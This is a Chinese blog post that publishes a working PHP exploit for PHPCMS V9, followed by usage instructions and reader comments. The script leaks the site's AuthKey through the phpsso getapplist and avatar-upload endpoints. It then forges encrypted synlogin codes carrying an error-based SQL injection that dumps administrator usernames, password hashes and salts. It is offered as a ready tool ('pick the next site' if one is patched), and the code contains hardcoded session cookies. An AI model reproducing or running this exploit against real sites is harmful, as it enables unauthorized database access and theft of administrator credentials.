正在阅读:

PHPCMSV9 AuthKey泄露导致注入EXP

35,134

昨天小站发布了PHPCMSV9 AuthKey泄露导致SQL注入的文章,熟悉本站的兄弟们都知道,今天可能就会发布EXP了,恭喜你,又猜对了。

好久没有写PHP版的EXP了,这次再写就已经基本忘光了,唉,花了好久的时间呀,最终还是完成了。

其实使用昨天的那个中转脚本已经完全够用了,今天发布的这个是给懒人用的,先给个图吧。。。

phpcmsv9_auth_exp

PHPCMSV9 AuthKey注入EXP

<?php
/**
 * Created by 独自等待
 * Date: 2015/7/17
 * Time: 21:23
 * Name: phpcmsv9_authkey_exp.php
 * 独自等待博客:http://www.waitalone.cn/
 */
print_r('
+------------------------------------------------------+
             PHPCMS_V9 AuthKey泄露导致注入EXP
             Site:http://www.waitalone.cn/
                Exploit BY: 独自等待
                  Time:2015-07-17
+------------------------------------------------------+
');
if ($argc < 3) {
    print_r('
+------------------------------------------------------+
Useage: php ' . $argv[0] . ' host path
Host: target server (ip/hostname)
Path: path of phpcms
Example: php ' . $argv[0] . ' localhost /phpcms
+------------------------------------------------------+
    ');
    exit;
}
error_reporting(0);

//统计时间
$start_time = func_time();
$host = $argv[1];
$path = $argv[2];
//请先添加cookie
$cookie = 'PXVhx_auth=6ef8UVUAU1EIAgNSBFEFAVMNUFBbVFRXBFZUVApWUlRTdyQkIGY1KHFwXy9xYg9jM3RCGWA6MkEtMXM6czE1Un90CTczfzIwemRyFXx2In8GYHMKcDc1YDAwcyFgPDV4dHQJNzdmIjdtc2UwZWI1cCY; PXVhx__userid=9496CFEJAQZWBwEIAQABUAIHBlIHWwRVWwZXUw4A; PXVhx__username=b2baUlIBA1MHVFMBBgNcDQRbBFQEDQBeWFFSDFNFUlZU; PXVhx__groupid=fd32CQMGCFNTBAQIBgZaAlUDU1JRB1AGBgBRVAZQ; PXVhx__nickname=fd32CQMGCFNTBAQIBlJaCVIGUwIBClVRBVYGVwIRU1dW; PHPSESSID=u6nr1b81mgrk58boiqe49a6984';
$domain = "http://$host/$path";
//全局控制http发包参数
$opts = array(
    'http' => array(
        'method' => "GET",
        'timeout' => 30,
        'header' => "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0\r\n" .
            "Cookie: $cookie\r\n"
    )
);
//核心代码,注入获取管理员账号及密码
$sql_admin = sql_inject();
$count = count($sql_admin);
if ($count != 0) {
    echo '恭喜大爷,成功获取到[ ' . $count . ' ]个管理员账号!' . "\n\n";
    foreach ($sql_admin as $num => $admin) {
        echo '管理员' . ($num + 1) . '=>' . $admin . PHP_EOL;
    }
} else {
    exit('杯具了大爷,此站漏洞已经修补,请秒下一个!');
}
//获取authkey函数
function authkey()
{
    global $opts;
    $authkey = '';
    global $domain, $cookie;
    $crack_url = $domain . '/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=662dCAZSAwgFUlUJBAxbVQJXVghTWVQHVFMEV1MRX11cBFMKBFMGHkUROlhBTVFuW1FJBAUVBwIXRlgeERUHQVlIUVJAA0lRXABSQEwNXAhZVl5V';
    $context = stream_context_create($opts);
    $crack_key = file_get_contents($crack_url, false, $context);
    if (preg_match('/s:32:"(.*?)";/', $crack_key, $match)) {
        echo '成功获取到AuthKey_1:' . $match[1] . "\n\n";
        $authkey = $match[1];
    } else {
        $avatar_url = $domain . '/index.php?m=member&c=index&a=account_manage_avatar&t=1';
        $upurl = file_get_contents($avatar_url, false, $context);
        if (preg_match('/\'upurl\':"(.+?)&callback=return_avatar/', $upurl, $match)) {
            $key_url = base64_decode($match[1]);
            $key_url = str_replace('uploadavatar', 'getapplist', $key_url);
            $auth_url = file_get_contents($key_url, false, $context);
            if (preg_match('/"authkey";s:32:"(.*?)"/', $auth_url, $au_match)) {
                echo '成功获取到AuthKey_2:' . $au_match[1] . "\n\n";
                $authkey = $au_match[1];
            }
        }
    }
    return $authkey;
}

//SQL注入函数
function sql_inject()
{
    global $domain, $opts;
    $limit = 10; //默认显示多少个管理员账号
    $admin = array();
    $key = authkey();
    $context = stream_context_create($opts);
    for ($i = 0; $i <= $limit; $i++) {
        $code = sys_auth("action=synlogin&uid=1' and(select 1 from(select count(*),concat((select (select (
        SELECT distinct concat(0x7e,username,0x3a,password,0x3a,encrypt,0x7e)FROM v9_admin limit $i,1)) from
        information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#", 'ENCODE', $key);
        $target = $domain . '/api.php?op=phpsso&code=' . $code;
        $content = file_get_contents($target, false, $context);
        if (preg_match('/~(.+?)~1/', $content, $match)) {
            $admin[] = $match[1];
        } else {
            break;
        }
    }
    return $admin;
}

//phpcms authkey加密函数
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0)
{
    $key_length = 4;
    $key = md5($key);
    $fixedkey = hash('md5', $key);
    $egiskeys = md5(substr($fixedkey, 16, 16));
    $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(hash('md5', microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';
    $keys = hash('md5', substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));
    $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));
    $i = 0;
    $result = '';
    $string_length = strlen($string);
    for ($i = 0; $i < $string_length; $i++) {
        $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
    }
    if ($operation == 'ENCODE') {
        return $runtokey . str_replace('=', '', base64_encode($result));
    } else {
        if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $egiskeys), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    }
}

//时间统计函数
function func_time()
{
    list($microsec, $sec) = explode(' ', microtime());
    return $microsec + $sec;
}

echo "\n脚本执行时间:" . round((func_time() - $start_time), 4) . '秒';

使用方法:

Example: php phpcmsv9_authkey_exp.php http://www.waitalone.cn/

由于获取AuthKey需要注册用户并登录,请在使用脚本前先把你登录以后的cookie写入脚本中,可能的话把User-Agent也改成你自己的吧。

phpcmsv9_auth_exp2

脚本都添加了注释,有不明白在此留言,我会回复你的。。

2015/11/06更新EXP,增加不需要登录获取authkey的方法,有需要的拿去。

目前有:26条访客评论,博主回复20

  1. zz
    2015-11-11 23:20

    不行啊,执行了cmd出现你截图部分,但是没看到回显,exp需要修改目标站的localhost吗

    • 独自等待
      2015-11-12 19:17

      脚本帮助文件写的已经很简洁了,如果还是不会那建议多学习一下php,我博客也有教程的。

  2. test
    2015-11-12 19:20

    请问一下。这个phpcms版本是哪个版本啊?本地phpcms v9.5.8不成功。。谢谢啊

    • 独自等待
      2015-11-17 15:12

      具体哪个版本忘了,你尽量找一下早期的版本测试。

  3. 路人
    2016-08-18 09:57

    http://www.2cto.com/Article/201507/412835.html 你好,这个的的中转脚本有吗? 测试了你之前写的脚本 不行 还请回复~谢谢.

    • 独自等待
      2016-08-18 13:48

      中转脚本,下次请先搜索。http://www.waitalone.cn/phpcmsv9-authkey-sql.html

  4. 岁月别催
    2017-03-03 14:42

    有不用登陆就能获取authkey的脚本吗 – –

  5. 独自的粉丝

    独自大哥,我看了下,两处分支获得authkey的地方貌似都用了包含cookie的$context吧,貌似获取两处都应该需要登录吧。
    求解惑,我这边需要单独改一个获取authkey的脚本。

    • 独自等待
      2017-06-19 17:33

      一处是需要登录,另外一处是不需要登录的。你可以使用抓包工具抓一下exp发的数据包。

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌